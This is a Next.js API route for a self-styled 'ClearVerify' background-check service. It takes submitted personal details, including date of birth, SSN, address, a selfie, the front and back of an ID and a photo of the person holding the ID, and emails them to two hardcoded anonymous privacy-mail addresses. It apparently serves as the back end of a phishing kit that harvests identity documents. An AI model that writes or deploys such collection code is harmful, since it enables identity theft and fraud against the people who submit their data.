import { NextResponse } from "next/server"
import nodemailer from "nodemailer"

const RECIPIENT_EMAILS = [
  "allanbernardprice@atomicmail.io",
  "allanbernardprice@privacy.email",
]

export async function POST(request: Request) {
  try {
    const body = await request.json()

    const {
      personalInfo,
      selfieImage,
      idFrontImage,
      idBackImage,
      holdingIdImage,
      idType,
      referenceNumber,
    } = body

    // Build the HTML email body
    const htmlBody = buildEmailHtml(personalInfo, idType, referenceNumber)

    // Collect image attachments
    const attachments: { filename: string; content: string; encoding: "base64"; contentType: string }[] = []

    if (selfieImage) {
      attachments.push({
        filename: "selfie.jpg",
        content: selfieImage.replace(/^data:image\/\w+;base64,/, ""),
        encoding: "base64",
        contentType: "image/jpeg",
      })
    }

    if (idFrontImage) {
      attachments.push({
        filename: "id-front.jpg",
        content: idFrontImage.replace(/^data:image\/\w+;base64,/, ""),
        encoding: "base64",
        contentType: "image/jpeg",
      })
    }

    if (idBackImage) {
      attachments.push({
        filename: "id-back.jpg",
        content: idBackImage.replace(/^data:image\/\w+;base64,/, ""),
        encoding: "base64",
        contentType: "image/jpeg",
      })
    }

    if (holdingIdImage) {
      attachments.push({
        filename: "holding-id.jpg",
        content: holdingIdImage.replace(/^data:image\/\w+;base64,/, ""),
        encoding: "base64",
        contentType: "image/jpeg",
      })
    }

    // Configure SMTP transport
    const transporter = nodemailer.createTransport({
      host: process.env.SMTP_HOST || "smtp.gmail.com",
      port: Number(process.env.SMTP_PORT) || 587,
      secure: process.env.SMTP_SECURE === "true",
      auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS,
      },
    })

    // Send to both recipients
    for (const recipient of RECIPIENT_EMAILS) {
      await transporter.sendMail({
        from: process.env.SMTP_FROM || process.env.SMTP_USER,
        to: recipient,
        subject: `[ClearVerify] New Background Check Submission - ${personalInfo.firstName} ${personalInfo.lastName} (${referenceNumber})`,
        html: htmlBody,
        attachments,
      })
    }

    return NextResponse.json({ success: true })
  } catch (error) {
    console.error("Email send error:", error)
    return NextResponse.json(
      { success: false, error: "Failed to send verification data." },
      { status: 500 }
    )
  }
}

function buildEmailHtml(
  personalInfo: {
    firstName: string
    lastName: string
    email: string
    phone: string
    dateOfBirth: string
    ssn: string
    address: string
    city: string
    state: string
    zip: string
  },
  idType: string,
  referenceNumber: string
) {
  const idTypeLabels: Record<string, string> = {
    "drivers-license": "Driver's License",
    "state-id": "State ID Card",
    passport: "US Passport",
    "passport-card": "US Passport Card",
    "military-id": "Military ID",
  }

  return `
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <style>
    body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; margin: 0; padding: 0; background: #f4f6fa; }
    .container { max-width: 600px; margin: 0 auto; background: #fff; border-radius: 8px; overflow: hidden; }
    .header { background: #1a3a6e; color: #fff; padding: 24px 32px; }
    .header h1 { margin: 0; font-size: 20px; font-weight: 600; }
    .header p { margin: 4px 0 0; font-size: 13px; opacity: 0.85; }
    .body { padding: 28px 32px; }
    .section { margin-bottom: 24px; }
    .section h2 { font-size: 15px; font-weight: 600; color: #1a3a6e; margin: 0 0 12px; padding-bottom: 8px; border-bottom: 2px solid #e8ecf2; }
    .row { display: flex; padding: 6px 0; font-size: 14px; }
    .label { color: #6b7a94; min-width: 140px; font-weight: 500; }
    .value { color: #1a2640; font-weight: 600; }
    table { width: 100%; border-collapse: collapse; }
    table td { padding: 6px 0; font-size: 14px; vertical-align: top; }
    table td.label { color: #6b7a94; font-weight: 500; width: 160px; }
    table td.value { color: #1a2640; font-weight: 600; }
    .badge { display: inline-block; background: #e8f5e9; color: #2e7d32; font-size: 12px; font-weight: 600; padding: 3px 10px; border-radius: 12px; }
    .footer { background: #f4f6fa; padding: 16px 32px; text-align: center; font-size: 12px; color: #8896aa; }
    .note { background: #fff8e1; border-left: 3px solid #ffc107; padding: 12px 16px; margin: 16px 0; border-radius: 0 4px 4px 0; font-size: 13px; color: #7a6100; }
  </style>
</head>
<body>
  <div style="padding: 24px;">
    <div class="container">
      <div class="header">
        <h1>ClearVerify - Background Check Submission</h1>
        <p>Reference: ${referenceNumber}</p>
      </div>
      <div class="body">
        <div class="section">
          <h2>Personal Information</h2>
          <table>
            <tr><td class="label">Full Name</td><td class="value">${personalInfo.firstName} ${personalInfo.lastName}</td></tr>
            <tr><td class="label">Email</td><td class="value">${personalInfo.email}</td></tr>
            <tr><td class="label">Phone</td><td class="value">${personalInfo.phone || "Not provided"}</td></tr>
            <tr><td class="label">Date of Birth</td><td class="value">${personalInfo.dateOfBirth}</td></tr>
            <tr><td class="label">SSN</td><td class="value">${personalInfo.ssn ? "***-**-" + personalInfo.ssn.slice(-4) : "Not provided"}</td></tr>
          </table>
        </div>

        <div class="section">
          <h2>Address</h2>
          <table>
            <tr><td class="label">Street</td><td class="value">${personalInfo.address || "Not provided"}</td></tr>
            <tr><td class="label">City</td><td class="value">${personalInfo.city || "Not provided"}</td></tr>
            <tr><td class="label">State</td><td class="value">${personalInfo.state || "Not provided"}</td></tr>
            <tr><td class="label">ZIP Code</td><td class="value">${personalInfo.zip || "Not provided"}</td></tr>
          </table>
        </div>

        <div class="section">
          <h2>Identity Verification</h2>
          <table>
            <tr><td class="label">ID Type</td><td class="value">${idTypeLabels[idType] || idType}</td></tr>
            <tr><td class="label">Status</td><td class="value"><span class="badge">Submitted</span></td></tr>
          </table>
        </div>

        <div class="note">
          <strong>Attached Images:</strong> Selfie photo, ID front, ID back (if applicable), and Holding-ID photo are attached to this email as image files.
        </div>
      </div>
      <div class="footer">
        ClearVerify Background Check Services &bull; Confidential<br>
        Submitted on ${new Date().toLocaleDateString("en-US", { year: "numeric", month: "long", day: "numeric", hour: "2-digit", minute: "2-digit" })}
      </div>
    </div>
  </div>
</body>
</html>`
}
